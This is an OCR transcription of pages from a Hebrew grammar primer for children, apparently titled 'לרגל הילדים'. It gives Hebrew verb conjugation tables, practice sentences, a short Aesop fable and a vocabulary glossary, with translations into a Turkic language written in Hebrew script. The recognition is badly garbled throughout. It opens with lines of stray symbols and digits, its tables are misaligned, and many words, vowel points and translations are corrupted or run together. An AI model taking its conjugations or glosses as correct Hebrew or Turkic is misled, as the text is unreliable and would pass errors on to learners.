. -=- אשכרמדי ב -=- אייררירדי
₪;וו 5 ב;ן|ו 7 8 ץ ו
4 -
₪ יכ נלתה
2.נוו ₪ | בנ;וו תי
אד "1 2 5
לרוח * ריוב- יבור יו
₪ גּלִית אק וג: אק |% גּלִית
5 < 5 + =
* רו 5 יור 5 ור" ישיר
גליתי נּלִיתי ית ליי
,ו * ₪ . ש . 5% .
= - ישי 5 = --
גלן גְּלן גל גַלן
ָָ -' 7 - ,
1 = ₪ = מ יכוי ₪ ב ףא 5 -ח\
> | גִלִיתַם לי כָּרִיתַם לי
= - לור 5 יי ₪ .יי
ליבו גיב יקיו ְלִינוּ
=
-
=
|
רק
-
2 גו
₪ 4-0 -.
- 4
. פכוי=-
2נר =? שו|
= 4 = =
ו
. . ,
5 -=- ר%י- 5% 58% ==
₪-=/ו| =-=;!ו! -, ?| | -2 ו |
= 5 = - .
.ן ו'יבו. רו סיור > ויר ה%י%-
. -22 - --2/ו90 -%₪ 2 = )|
זן
0-7 - ו
+ ד ₪ -
כב ויו בשקו|
7ב - 2 4 ָ?
יר- ₪ 4% 4-ל סור
= כ--|י 4\|)22, =1|22 בור
1
לרגל הילדים 2241
רו
| בנה י | בנה 0
תי
בּנָה , יאפ נבְנָה , יאפולדי.
מוורו
ו 0
| לזכר לנקבה | לזכר לנקבה
ר
בָּנָה | ַּנַתַה נְבנָה נבֶנתה
רוי ם .
. |בְּנִית בָנִית נבְנית נבָנית
בניתי ! בניתי :
| כ בָנִית נְבְניתִי נְבְניתִי
בנו בּנו נבנו נבנו
ורי | בנ 7-: נָבנו
יש
ְיתָם ית ְבְיתָם | נבְגִיתן
רווי
בֶּנִינוּ בָּנִינוּ נְבנִינו נְבְנִינוּ
תת <*תע[
| ורי .
| ָבְנָה תּבְנה יבּנה תכנה
זי .. 1:- זי 7 .ץש
-י-
תָּבְנָה ִּבְנִי ִבָנָה ִבָנִי
- 4 ..-
אֶבֶנ ו אִבְנָה אִבְּנה אכנה
בס 727 לוב
1 נש . --
יבְנו תבנינה יבנ ְבְנִינָה
? ךז "ב 6 4
חרי
> | תִבָנו חְבְנִינָה תכנו תבָּנִינָה
: ל :1
. .
נבְנה נבנה נבָּנָה נִבְּנָה
1% כו + ד > . .
| 0
. | קל .
- |בְנָה בְּנִי נה הַבָּנִי
ראי --
- | בַּנוּ בְּנִינָה הִכָּנו הַבְנינה
ש 0 :שד . לוד
4
+ זוי <-.- | : |
ב ד
9 7= כיוה <
,| 9 |-=2- בנות |
|
| בגוי | בנניה |
שת | כָנו בְנוּיֶה | נבנה נְבְנָה
-₪ 4 בנוים ריווום ירויויר ב
₪ | בנוים יור נבנים נבנות
: , == :-
אצ נפרר בנה נ
5 1 הבה
כחד רין רריית . .
ט | נכמן בגות , .442 | הבגות, בהבנות
: : 5 :.
ו
(חלק ראשון) 1
210 לרגל הילדים
האיל
האיל רֶץ אֶל הָעין לשָתות ורא בּמִיָם אֶת מרְאהו וַיְִבָהּ לְבּו. על
יפי ְרְנִיו הַאַרְכָּות וְאֶת רנליו שָנא בִּי דקות הַגָּה. וישמע פתאם בְּאִזניו
קול צידים וירד ונס ופלֶט הו ערה וביער גאח בַּסּבך צקרניו . וישיגוהו
שם לבו הַצִידִים ויטרפוהוּ . הי בּמותו יאר : אוי לָי: תה ירַעתי בִּי
אָשר מְאַסְתִי הועילני וְאַשֶר אֶהַבְּי היה בְּעובְרִי. .
9 10
לְמַע,, איצון. אני: אוצון פי לְמַען שמף, אדיג איצון ענ , למ
למען תלמד , אניג איצון כּי אוגרנאסין. .
למען תמצא, אניל איצון כי בולאפין -
לְמען יאַריכון יָמִיף, אניג איצון כּי גונלריג (עומרוג) אוזאק.
אולאלר .
בעבור , איצון , אניג איצון כי . בְעבוּר דוד , דוד איצון , דוריג חטרי איצון ,
בָּעְבוָרי , בְעבוּרף וכו') ,
בְּעְבוּר תדע , אניג איצון כי בּיַלָא סין..
בּעבוּר תִּבַרְכָנִי נָפַשָףּ , אניג איצון כיג'אניג בגא דועא וירא +
אֶשר. יוה אשר בְּרְאתַ את השָמִיִם - הציל; נִי מָאויבְו , אי מּכּלרי
- יראדן רבּבּי בּני דושמאנלרימרן חלאס איילא .
אנ יוסף אַשָר מִכַרְחהֶם אתי , סיז סאטריגיג גיז יוסף בן אים +
עקב אשר ְּהַרְתי , או סן סאיילאדיגים יעקב .
בקתי ) סמ גיירי י (בָּלְקי, בנדן גיִירִיי בַּלְחּףּ , סנרן גיירט, דַגִיל , בְּלְתִי טחור ,
פּאב דגיל , פּאכ אולמאיאן . -
לְבְלְחִי עשות , אידממג איצון..
רְבַלְתִי סור , = קאיירילממק. הונממכ איצון .
לְבְלְי שתות יין שיאב איצממ איצון .
לְבלְתִי תשתו 2 אניג איצון כּי שראב איצמיאסיגיו .
לבלתי תחטאו , אניגאיצון כּי נונאחכר אולמאיאסיגיו . סיז
גונאחפר אולממק איצון .
לרנגל הילדים 209
אילאג' בולמארי . אללהא חייץ ביר שיי ִדָבָר) גון אולור מי + בו שיי
סייג גוזלריגיזדא גוץ אולור אללהיג ג'ולרינדא גוו אל : קיוקרדשים י
סן נא איצון בו חלאייגי בור איטרי:+ ביז ב5אית פאיידאלי כּתאבלר
אוקוייר איז. סיז גקבה אנאם יאזדיגי מכתובי אוקודוגיז מי? בבאמיג
אָבינדן אלמין וא גומיש שיילר (כלי) צאלן בירסיזלר אורמאנרא גיזלנ-
דילר . סן. אוגלום, בו כתאבי ביר דחי אוקומא. בּן פּכ סוסאמיש אים
וא איצמאיא סויי % דיר נא איצון סיז ביר דחי גונאחכר אולוייר סיגיז
וא גונאחיגיזיג אוזרינא גונאח ארטטירייר סיגיז? אוגלאנלרים ! יוכויי
זבמגיו בי קרא 6 מאיאסיגיז . דון גאיי אולאן אשכלרי בולוגיז .
דון בּבּאם גאייב איטריני אב לאבי אטלר בולונדיימי ? בו אדמיג אכִי
קיזי ואר בירי סווגילי (אַהב , .ביגוני פעול) -,. וא בירי -כור נשַנָא ,
בינוני פעול) , פנא וא יראמו אדמלר אנלר אילן גזנלרי גונאחכר אידרלר ,
אוגלום ! פנא בּימסאלר אילן גזמא כי סני גונאחכר אידמְִייאלר . סן גנדי
קרדשיגי פאבלליירמי סין + תלמידלר בירי ביריני פאכלליירקר וא חכמה
ארמטיריירלר -בּן ונגינלרי פאבללאמדים, חכם לרי פאבללאדים. בבאם.וא
אנאם פאדשאהיג זייאפתינא דעוויתלי לריג (צאגירילמיש לריג) אראסינדא
דיר . דושמאנלרים (שנָא) בני אולדורמייא דושונדילר . סן נא איצון
גיולניפ קאצדיג (ברח) + בו חלאייקלר אקאמי? אָבינן גיולניפ קאצדילר.
קררשלריג גיזי שימדייא קדר גונאהכר איטדיגיגיז גיבי ביר דחי גונאחכר
אידמגיז . 6 5 ביריגיזא אנדימאיאסיגיז וא בירי ביריגיזי
אָב (אילן) אָבלאמאיאסיניז , | בו יראמולר ביוא אנדיירלר וא ביוי
אבלארלר, יא רכבי ! ביזי 0 דוגדור וא דונאייכ . פאדשאהים !
אללָה סני בו אגיר נ'נכּדן אסנליב אילן אבינא גרי דונדורָא.. סני אללה
מיללתי אוזרינא פאדשאה דיפדי גהָקִים). יא רכצים! סגא צאגירדיגימדא
בני דושמאנלרימיג אלינדן חלאס איילא . ביז סוסאמיש איז וא סויי נררא
בולור איז ? זירא יוק דיר . קיוקררשלרים פוסאמיש דיר וא סויי בולמאזלר.
השך
איש אֶשֶר נָשנו בָּלֶב לְקח פּת לָהָם ויטכל אתָהּ בְּרָמו ושלְיכְנה
לפנ הַבָּלָב: לָאָבל ִּי חַשב למצא בָּזְאת הרוּפה לְמַבְּתו בַּאָשָר שַמע מפִי
= ג
פַ תָאִים כָּמהוּ. | הַחָכֶם איזופוס אשֶר עבר ? שם ם רְאֶה אֶת האיש ויאמר ו
אל תוסף לעשות כּ | לעיני ּלָבִים ם רבים : פּ הַסְבָן ִסְבָ ינו לְבשָבָנו יום
יום בד עַתָּם שכר עמלם ם כי - טוב /
2 לרגל הילרים
מאיא סין . בירי ביריגיזי פאכללאמאגיו כי גונאהכר אולמאיאסינין ,
קיזלרים ! בוגון צשמָאיא וארמאיאסיניז כּי אוררא אולאן צוק כּלכלר סיזי
דישלמייאלר . סאקט אולוגיו כּי ו כירסי לד קאצמאיאטר וא קורטולמא-
יאלר . בבאמיג כּתאבלרינא דוקונמאניז כּי דארילמאיא . בּו עקללי
תלמידלר מועללימיג גזולרינדא שירינליּ בולדילר . בכאם סלא סאטון
אלדיגי פאיידאלי כּתאכי אוקודוג מי+ אסתר פאדשאה אחשורוש ניג
גוזלרינדא שירינליפ בולדי .
קרוב יהוה לכל כִרְאָוו לכל אשר יִקְרְאוּהוּ באמת . בני: סַפַר נא לי
את כל המצָאות. אותך בדרף. בני + קדברי הקשיבה שָמָרֶם בתוך
קבבך < כי חיים הם לְמִצְאִיהָ ולכל בשרו מרפא . יהוה מבמן קְרְאָנִי
ממעִי אמיהזכיר שמי. ביתי בית תפלה יִקְרָא לכל העמים . אחי: חַמַאתֶם
מאד ליה וה ולמה תוסיפו לְחָטא שד + אחותי! הַקְרָאתָן את הספר אשר
נמצא בחדר אבי + צִמָאנוּ לשמוע דברי אלהים. למה. אחותי, שנאת
את האיש ההוא והוא איש טוב וישר ולא עשה בל רע . אל תנזל דל כי
דל הוא ואל תִדִבָּא עני בשער. מַלָכֶם = מה לכם) | תדכאו עמי? בני !
אל תִקְנָא ברשעים . אל תקנאו בָּנְעָרִים לא למדו חכמה ומוסר . למה
נחְבָּאתָ (= נְהַבָּאתָ) לְבֶרהַ האדם ואשתו שמעו את קול יהוה אלהים
מתהלך בגן לרוח היום וַתְחַבָּא האדם ואשתו מפני יהוה אלהים בתוך עין
. . רבים חטאי מאד ואנה אנוס ואנה אֶחָבָא מפני יחוה אלהים? אין מקום
וס ואין מקום לְהַהָבָא. הַנְמְצְאוּ הכלים אשר גנבוּ אתמל מבית דודך .
כה אמר יהוה שבתי אל ציון וְשָבַנְתִי בתוך ירושלם וִקְרְאָה ירושלם
עיר האמת והר יהוה צבָאות הר הקדש . לא ירא עוד לבט נדיב
אלהים ! באו גוים בּנְחָלְתךָ מְמָאוּאת היכל קדשךף. אַחִיותִי הלכו העינה
וַתִּמַלָאנָה אשה את בדה מים . אחי : נוסו והחָבאוּ בַּאַתֶר החררים פן
ישיגְכֶם האויב וַימִיתְכם בחרבו אשר בידו . כל הנמצאים בעיר נסו
מפני האויבים אשר לכדוה ויִחָבְאוּ בּיער. אל תַחָטָאוּ ואל תִחְטִיאוּ את
אחיכם.. אל. תוסיפו עוד לדכא. את העניים . הַמַחטִיאִים את אהיהם
מוסיפים חטא על חטאם . משה ואהרן בכהניו (בכהני יהוה) 0
בְקראִי: שמו .: הגם. אתם בַּקְרוּאִים אשר נקראו אל משתה המלך !
יהוה ישמע בִּהְרְאִי אליו. מי נוי גדול אשר לו אלהים קרובים אליו כיהוה
אלהינו בכל קראנו אליו. . ּ
אללה גוכלרי וא אנלריג עסכרלריני יירי וא אניג אוורינדכילרי אלמי
נונדא:יראטרי. בו פוקרא קריי ביר כלב דישלדי וא או גנדי יראסינא
לרגל הילרים
אֶשֶר אי חפין בר גהנ משיב דָּבֶר. הלא קְרְאת אָם לא שָמַעַתּ דרי
ָחְכֶם: מָשִיב. דּבָר בּמָרֶם ישמע אָוּלֶת. היא לו ּכְלְמָה + אֶחִ י הָטרֶם
תִּלְמַד את חֶק אשָר נָהן לך המְלפָר אֶתּמל+ בנ הַשָמַר לך פַּז תַשכַח
את הפר שר עשת יה ל שף. 0 ד היים הוה > אל
₪
שה רבקה 1 תשְחקְנָה - - פּ ן לאח תו לְנָה - לְמַתָר אֶת
חקכן ומאת = מה ַחָשב' . הַשמַר לה פ | תִּשָנָא אֶת אחִי בלב 5
נח מַצָא חָן בעיני ִהוָה, אָדנָי! אֶם. נָא את חן בּעִינְיף אֶל נָא תעבר
מעל נוי אַתֶּם הַטַאמֶם ליהוָה אֶלְהִיכם ותָסוּרו מִדְּרכָיו הַטוּבִים קְקְכת
רכ רשע האיש == ַא אֶחָד ְחְטָא תעל כָּל ה 6
- הוה לאה" | סאבץ. חס הוה ל | הארץ -] מרְנִי .. מַלָאו
ינ ב בָא קְצ ָנוּ.. בּקשו ותַמצאוּ שאָלו וִָתַן לְבָם >
תלמידלרים הר גז כּתאבּלריני אלדילר וא הר גז גנדי אבינא גיטדילר .
תלמידלר ! הר ג גנדי כּתאבלריגיזי אליניז וא הר גז גנדי אבלריניזא
גידונין . שתריג קיולרי הר. בירי צומלכלריני אלדילר וא צשמאיא וארדילר
וא סוי דולדוררילר . אבג'ילר הר גז. יאייני וא אוקלריני אלדילר וא
אורמאנא אב אַבלאמק איצון גיטדילר.. אוגלאנלרים! הר גז יאייגיוי וא
אוקלרינזי אליגיז וא אורמאנא ואריגיז וא גא אָב = אַבלאגיז .= יארין
ביז הר גז גנדימיזיג איי וא פחאלי רובאלרימיזי גְייָר איז וא אקאם
יאפדיגי זייאפרא ואריר איז. ה פנא צוג'וקלר בּירי בּיריניג פתאבלריני
צאלדילר .. בירי ביריגיזי. זולומלאמאיאסיז וא בירי בּיריגיזי בוכּמגיז
בא . תלמירלרים | בירי ביריניזג כּחאבּינדן (מָעַל פָפַר) אוקוגיו .
שרה ורבקה בירי ביריני טאנימאדילר , שרה ורבקה: סיז בּוגון בירי
ביריגיוי טאנייא בילמריגיז .: קיזלרים הר גז גנדי צומלגיגיוי אליגיז וא
צשמָאיא. ואריי 7 הלרינת . . קיזקרדשלרים ! בירי בּיריגיזי
גונאחכר אירמגיז . קיזלרים : אשיטמניו דן אוול. קרשיליק: וירמניו
כַחָשיב דָּבֶר). בי 0 חסאבּ אולונמאיאסיניו + ביז. דחי יאטמאמיש
אידיב. בּבאם וא אקאם מפרדן גִרִי דונדילר , כירפיולר דחי גיזלנממיש
אידילר ביז אנלרי אורמאנדא בולדוק . בו בְּלֶב סני רישלמודן אוול
אוגונדן קאיץ.גוזלריגי א'ן וא כו בו בלבלר, אוגונדן קאץ .אנלר. סני. דישלמו-
לרינרן אוול דושונמלה; אוול קרשיליק. וורמא בי ששקין חסאב אולונ-
2>16 כרגל הילרים
ִּרְכָנִי אבי בַּטָרֶם תִמוּת . בבאם ! אולמנרן אוול נא רועא ויר .
הוקר רַנִל. מִבִּית בע פן. ישבעף | איאניני הוסטוניג אבינדן סיירפ איילא
שש . יעני רוסטונינ אָבינא סיירכ ואר)
כּי סני דויימא סין | גסנדן דויימאסין,
בְּמָאסין) וא סני כור אירמָאסין .
אל הוכח לץ פֶּן יש שנְאךָ (כ=יש שנאךף 7 מונ'י כּימסאיי אוגוטלמָאיאסין כּי סני כור
הכח לחָכֶם ואה (==%אהכף). איר מאסין (אונוטלר איסָ סני כור
אירר) , עקללייא אונוט ויר וא סני
כְבר .
אל פאהב שָנָה פַּן תורש פּקח עיניף וןכןוו סבממלי סין כּי פאקיר אולמאוא סין
ּשְבֶץ לָחֶם. . (יעני יוכויי סְבר איםג פאקיר אולור
סין) , גוולריני אץ וא אכמנא רויי.
קשמַר לף פִן תעוב אֶת היןי כָּל יַמִיך | סאקט אול כי ליי ג'ומלא גינלרינרא
על אַרְמָתך . טופראנין = אוורינדא (טופראניג
אוזרינרא יאשאריני | גונלרינדא)
בוראקמאיא סין .
אחיותי לקחו אֶשָה אֶת סְפָרָהּ וַתִלְבְנָה . | קיזקררשלרים הר. גו פּתאביני אלרילר
ד ד ג גד שו *
גיטרילר .
הוה גְתַן לְכֶם אֶת הַשָבָת על כּן הווא נתַן לָכֶם בַּיום הששי לְתם
ימַיָם שבו איש תִחְקָיו אל ָצָא איש מִמֶקומו בַּוּם הַשְבִיעִי . דבְרחְנָא
באז י הָעם לשאלו איש מְאֶת רְעָהוּ וְאֶשָה מְאֶת רְעוּתָהּ ְּלִיכְסָף וכלי
הב וידַבָר הוה אל משה לאמר דִבָּר אל בָּנִי יִשְרְאֶל וקח מָאָתֶּם כַּמָה
מטה לָבִית אָב מַאֶת כל נשִיאִיהֶ לבִית אבְתֶם שנים עשר מטות איש
אֶת שמו תכב על מטהו . בִּי ְָָר) יתן אִיש אֶל רעהו ה או בָלִים
לשמר ב מַבָית האיש אָם יְמצָא הגּגב ל שנים אניקאט) , וְהַנַשְאָרִים
בָכֶס וְכְשָלוּ איש בְּאֶחָו כְָּפּני חָרֶב ורדף ו הָאויָבִים 0% ַּחשָךָ
ולא הכירו איש אַת רַעָהו וישם יְהוָה חֶרֶב איש בְּרְעָהו . ויאמר אבְנר
אל אב יקוּמו גָא הַנְעָרִים וישחקו לְפַנִינוּ ויאמר יאב יקמו . ויקוּמוּ וועברו
0 שָנס. שָנָים ְבְנִיָמַן ולאישדבשֶת בּשאול ושנים ע עשר מַעַבָרִי
דור : ויח 0-7 איש בָּראש רַעָהוּ וחרבו בְּצַד רעהו ויפלו 5 = איש אֶת
רעה זרו וּלְאָחַיו יאכיר חק / אוש מרעהוּ השְמרו תעל כל אַח א אל
הכטתו 2 בְּנִי! מהרו לכו איש לביתו כמרם יָחשְךּ : מרם תָשְמע אֶת 1
לרגל. היל דים 255
לא זומת אָבות על בנים ובָנִים לא יומָתו
על אָבות איש בּחטאו יוּמִתוּ .
שימוּ איש חרבו על ירכו \ עָבְרוּ ושובו
משער לשער בּמַּחֶנָה וְהרְגוּ איש
את אֶחָיוּ ואיש אֶת רְעָהוּ ואיש אֶת
קרובו.
ָּל העם קם כּאיש אֶחַר לָאמר לאנלף
איש לְאֶהָלו לא נסוּר איש לְכִיתו.
הנָה אוש צרור כספו בשק קו
שם אֶסְּנוּ נער עברי ְְסְפָר-לו אֶת
חַלַמתִי ו וַַפַתֶר-לָנו אֶת חַלְמתִינוּ
איש ַּחְלמו פָּמֶר .
אבַד חִסִיר מן הָארץ ושָר בָּארֶם אי
ָּיִם לרמים יאֶרְכוּ איש
יצודו חרם .
את אחיו הו
הָלא אב אֶחָד לְכְקָנוּ + הָלא אל אֶחָד
בְּרְאָנוּ ? מדוע נְבְנַר איש באחיו?
אני טרס אישן 2 טֶרֶם אע: צם אֶת עיני
וישמע בּאָני קל נְרְא מָאה .
בּבאלר אוולרלר איצון אולרורולמסין , ו
אוולרלר בּבאלר איצון אולר -
סין , הר ג ננדי מנאחי אילן
(גונאחי אוצון) אולדורולסין .
הר גו קיליג'יניוי בוטוניזיג אוזרינא קוניו ,
נציניז וא דונוגיו אָבוּלדא ביר
קאפודן ביר קאפוא. וא הר גז
קררשיניי , וא הר נז רוסטוניוי ,
וא הר גו 0 אולדורוניו .
בוטון חלק ביר אדם גיבּי קאלקרי דייר :
הר ג1 צארירימיזא גירמו איז וא
הר ג אבימיזא. קאוירילמאז. איו
(בירימיז צארירימיזא נירמז איז וא
בירימיז אבימיזא קאיירילמאז איו) .
אושטא הר גיג אחצא כּסאסי גנרי
צוואלינדא דיר .
אוראדא בראברימיזרא ביר יהודי אושאק
ואר אידי וא אנא דושלרימיוי נקל
איטרוכ וא ביוא רושלרימיזי יוראדי
הר גוג רושו גיבּי (הר גזינ דושוט
נורא , הר בירימיזי הושונא גורא)
יורארי .
חסיר ייררן. נאייב אולדו וא ארם רא
(אונסאן אראסונדא) דוגרו יוק דיר
ג'זמלאלרי קאנלר איצון פּוסי
דורורלר. בירי ביריני אַ5 (אילן)
אבַלארלר .
ג'ומלמיזין בבאסי ביר רגיל מי ? ג'ומלְמיוי
בִיר אללה יראטמארי מי? נא
איצון בירי בירימיזא כייאנתליכ
אודג'כ איו
בן רחי אויומאמיש אירים וא דחי גוולרימי
יוממאמיש אודים קולאקלרימא ביר
פּכּ פּכּ קורקונצלו סס אשיטילר
24
בְרָא (יָבְרָא) יראטדי, יוקדן
נְבְרָא
(נפעל) יראטילדי ,
קרָא. (יקרא) צאגיררי
בּאגירדי ,| אוקודו .
קְרָא שם | אָד אדאדי,
ואר איטרי ,
אד קושָרי
חְטָא (יִחַטַא) גונאחכר
אולדי , הַחֶטִיא ,
גונאחכר איטדי .
מָלָא (יִמִלָא) , דולדו ,דולו
אולדי , תכמיל אולדו.
נְמְלָא , דולרו,
מַלָא , דולדוררי,
תכמיל איטדי ,
צמא (יִבְמָא) סוסאדי .
שנָא (יִשָנָא) כור. איטדי
איברה איטדי + שנא,
כור אידיג'י , דושמאן.
נפְלָא ( (פַלא) עג'ייב אולדו
זים . אִיירי אולרו ,
ִפְלָא בְּעִני
גזזלרימרא (נוזימא)
עג'יים , גוץ גורונדי ,
בגא גוץ או לדו .
נפַלָא --% <<
גוץ אול לו הו י | הַפָלִיא ,
ייצ 'יוב אוטדי
עג :
נ חַבא (חבא) גיזלנדי
דְבָּא , יאנצדי , אופאטדי
בּוּכָּדי
קנָא (קְנָאו == = קנָאו ;
יקנאו = ינאו ; :
הי לקנאו = = תקנאו)
בפ', פאכיללרי,בונלרי,
-
לרגל הילדים
כְּשל (ְַשָל) = סורונדי ,
נְבְשל, סורונדי :
הַכְשיל, סורונדירדי,
קצף ז (יק: צף) על פ' ,
אצובלנדי ,דארילדי ,
פּקחז (יפקה) אצרי, (גוז
איצק) .
ארב ב (יְאָרב) אנדידי , פוסי
ייררא
יאכוד
כורדי, ניזלי
ביריני אורמק
אולדורמכ איצון
פָבְּלְדי,
חִשב (יחשב) פיכָרָ איטדי,
| | דושונדי , הסאב
איטרי , זן איטדי ,
נשך (ישך) דישלדי ,
דיפּרי (יילאן. איצון),
נְשָּ', דיכדי דישלדי.
]|
ישן (אישן). יוכלאדי ,
אויודי .
האשירו
נָם (ינוּם), קאצרי .
נאֶחַז (אֶחַז) דוטולדי י
אילינדי .
שָחַק (פָּעַל) אויינאדי .
החזיק (חוק) בּפּ'. דוטרי,
קאפדי .
סֶכ-ן ניסכ) פאיירא איטרי .
1 הסבִין אלושרו =
השינ נשנ) יירישדי .
נורש (ירש) פקרא אולדו.
הוסיף (יסף) ארטטירדי .
הוסוף לְדַבָר , 3
דהִי סוולאדי .
ציוופוס , איוופוס יאכוד
אַוופּ. ביר ביוכ אורום
האכימיניג (הכמיניג)
אה י
לי (1). זווקלאניג'י,. מזג'י
(יעני מבָנִייו .
אל כ1) זע סיגין ,
סב "!(צ), בוטאק.
לבב (ל א) קלב : נתול.
חטא חֶטְאִי מָטָאִים ,
ה גונאה .
י (11ץ נ)/ קאפו ,
שריעת יירי ,
ותו (כ' ופו :
1 , ב ג פִּי, ופי ,
-
8
יפיך) 5 --)\
עין ג' (צז ב') נוז, צַשָמָא
לד' עְיָנות, ס' עִינותי
צשמאלר) ,
שק 7 (נצ א') צוּל, צוואק,
צר (נ בי)-יאן.
0 (צצ-') אב
באליק אבי ;
מִכַּה (נצ) נ' יארא .
בְּרוּפָה (ונצ) נ',
ְּלָמָה (נצ) 5 , אַרליק ,
עאייב
אילאג'.
:
אָוְלַת (זוצ / דַליליּ
לוי (הַלְום) ,
פתִי (י פתאים ) אחמק .
צבא 7 צבאות ס' צַבָאוּת
עְסַבָּר , צבא השמים
שי י5= 5
ביג עסכרי, יילדיזלר,
י , ייר-
הוה צבָאות, עסכרלר
רבּבּי (רוניא ייג רבבי
לרגל הילדים 23
קל מַלָא , מְִאָה נמִקְאֶת): מָלַאת מָלאת ; מִלְאוּ נמלאו ; מְַלָאתָסוּכי.
שנא, שַנְאָה (שנאה); שָגָאתִי , שָנְאוּ טנא ; שנאתם זכר .
שם . שמני, שמף , שמף; שמו (שמחס , שְמָהּ, שמנו; שמַכ
כ ד - 1
.
שמה. שמתני ; שָמַתְךְּ , שָמַתָךּ : שמתו שמת 2 שמתה
שמתנו ; שמתכם וכוי.
שמת . שמתני; שמתו, שמתה ; שמתָנוּ וכ .
שמת | שמתיני; שמפִיך ; | שמתיו (שמְתיה ופ
י
שמו : שמוני; שמוךף;: שמוהו. שמוה; שמוני ופי .
שמְמֶם | שמתוני : שמתוהן וכו .
שְמְתֶן
שמָנוּ. שמְנוך ; שמנוהו וכ .
יָצוּד . יָצודְנִי ; יָצוּרֶך , יָצוָּך , יצוּרָנוּ גיצורַהח. יַצוּרֶנָה; יַצודָנוּ ;
יצודבם וכו . /
תָצודו, תֶּצוּדונִי; תְצודוּהוּ; תְצודוּם וכ" .
והפעיל)השיב שיגי | לשיב , הַשִיבְך; השיבנו; השיבְכם וכו" .
הַשיבָה,.הֶשיבָתנ : : השיבתוּ ִקָשִיבְַהוּ) הָשִיבַתָּה וכו" .
יכ יבנ ותו
.
ישי יר ושיבני בישיכך : בונ ישיבנו ל
5 שיבן . . משיבונִי : תשיבוהו וכו* .
השב . הַשִִבָנִי | השיבהו הַשיבָנו) | הָשיבָנו וכו* .
הָשִיבוּ. הַשִיבוּנִי; השיבוהו ופי .
הָשיב . השיבי ; ; בַּהַשיבֶךָ : לַהָשיבֶך : מהשיבכם וכן" .
9% 1 1 ;
משיב . משיבי; משיבְךָ; משיבר וכו .
=
(חלק ראשון) .10
| הַפָעִיל | הְפָעַל | התפעל
מֶצָא מַצָא חַבָּא
הַמְצִיא בולדורדי הַמצָא בולדורולדי התחְבא ניזלנדי
לזכר .+ לנקבה | לזכר | לנקבה | לזכר לנקבה
הַמְצַאתָ | הַמְצָאת | הַמְצָאתָ | הַמְצַאת | הַתְחַבָּאת |הַתְחַבַאת
הַמְצָאתִי | הִַמְצָאתִי | הָמְצַאתִי | הָמְצַאתִי | הִתְחַבַּאתִי | הִתְחַבָּאתִי
המצִיאוּ | הַמַצִיאוּ | הַמְצָאוּ | | הַמִצָאוּ = | הִתִחַבָּאוּ |הַתְחַבָּאו
הַמְצָאתֶם | הַמְצָאתֶן | הִמְצַאתָס | הַמְצאמן |הִתְַכָּאתֶם ִתְחַבְּאהֶן
הַמְצָאנוּ | הַמְצָאנוּ: | הֶמְצָאנוּ | תַמְצָאנוּ | הַתְהַבּאנוּ |הַתְחַבְּאנו
עו עפש
ָמְצִיא = | ַמְצִיא | | ִמְצָא | | תִמְצָא = | יִתְחַגָא | | תִתְחְבָּא
מְצָא | ִּמְצְאִי = | הִתְחַבָא | תִּתְחַבְִּי
אִמְצָא = | אִמְצָא = | אֶתְתַכָא | אֶתְהַבָּא
ָמְצָאוּ | | תִמְצָאנָה | יָהְחַבְּאוּ |תִתְחַבָּאנָה
מְציאוּ: | תִּמְצָאגָה
ַמְצִיא = | ַמְצִיאָה : ַמְְאָה | הְַחַכָא. |התְחְִאָה
> | תַמְצִיאו | חַמְצָאנָה | תַמְצְאוּ | תָמְצָאנָה | תִתְחַבְאוּ (תִתְַבָּאנָה
ִמְצִיא = |נִמְצִיא = | נָמְצָא | |נִמְצָא = | נַהְחַבָּא | נִתְחַבָא
שריה אפור וויה הרת ה האופ בלש ו
הַמצָא | | הַמְצִיאי ִתְחַבָּא | הֶתְחַבְּאי
הַמַצִיאוּ \ | הַמַצָאנָה הִתְחִכָּאוּ | הִתְתִַבָּאנָה
2 | מַמְצִיא = | מַמְצִיאֶָה | מִמְצָא = | מִמְצְאָה | מִתְחַבָּא | מִתְחַבְּאֶה
> | ממציאים | מַמצִיאות | מִַמְצַאִים | מִמַצָאוּת | מתְחבאים| מַתְחַבָּאות
, | נפרר הַמְצָא הַתְחַבָא
:| נפמף הַמְצִיא, בְּהַמְצִיא הַתְחַבָּא, בְּהַתְתַבָּא
+ שיזרקהכנשנום. ממור על--שנ -ג מ כ אנשחעם.מצב ממא של > |
ו
לרגל הילרים 21
נחי למיד אליף
| פּעַל | פטר
מִמָא מורדאר איטחי . מ מא מורדאר אולונדי .
| ן :
| לזבר לנקבה | לזכֶָר | לנקבה
ממא טִמְאָה מִמָא מִמַאֶה
+ | ממָאת מִמָאת מִמָאת ממָאת
מְמָאתִי מִמָאתִי מְמָאתִי ממָאתִי
מִמָאו טְמָאו מִמָאו מִמָאו
> | מְמַאתֶם מְמָאתַן מִמָאתֶם מִמָאתֶן
מִמָאנָו מָמָאנו מְמָאנו מִמָאנו
כ 2-3 טְמָא הִטְמָא
- וְתְפַמא - |הְסַפָאי | |תִמְמָא - | תממא
- | אָטְמָא אִממָא אָטַמָא אַמִמָא
₪ | יִטַמָאו תְִמַמָאנָה ימא תִּממָאנָה
,> | תמאו תּמַמָאנָה ִּמָמָאו \ תִמִמָאנָה
ְסַמָא ְמַמָא נְמְמָא ִמְמָא
- | ממא ממָאי
₪ | סַמָאו מַמָאנָה
= | מִמְמָא מְִמַמְמָה מִסְמָא מְמְמָּאָה
ל | מטמאים מִטַמָאות ממִמָאִים מִסמָאות
ו -
נפרד. מממא (טפא6
|-נסמף ממא , בְּמַמָא
00-77
-- יי
/
מַצָא בּוּלדי . נמַצָא בולונדי .
| לזכר | לנקבה | לזכר לנקבה
מְִצָא מְיְאֶה נָבְצָא נַמְצְאֶָה.
, | מְָצָאת מְצָאת נְמְצָאת נְמְצָאת
-מְצַאתִי.,. ---וְמְצָאַתִי ְמְצָאתִי-.... | נְמְצָאתִי
מִצָאו | מצאוּ נַמִצָאו נְמְצָאו
:א : צןה: בו :1
מְצָאְתָם כְבָאתָן נְמְבָאתָם נִמְבָאתֶן
מַצָאנוּ | מִצָאנוּ נְמְצָאנו גְמְצָאנו
ְמְצָא תְּמְצָא ִמַצָא תִּמָצָא
7 | תִּמְצָא תִּמִצְאִי תְמָצָא ִמְצְִי
כ | נא תִּמְצָאנָה יִמַצָאו תִּמְצָאנָה
> | תִמְצָאו תִּמְצָאנָה = | תִמְצָאו תִמְצָאנָה
ְמְצָא ְמְצָא ַמְצָא ַמְצָא
- | מִצַא מִצָאי הִמַצָא הַמָצְאִי
- | מִצָאו מִצַאנָה הַמַצָאו הַמָצָאנָה
- . . . ד .
- | מוצא | מוּצְאָה (מוצְאֶת) | |
*- ,2 5 - 5 :1
1 | מצאים | מצאות | |
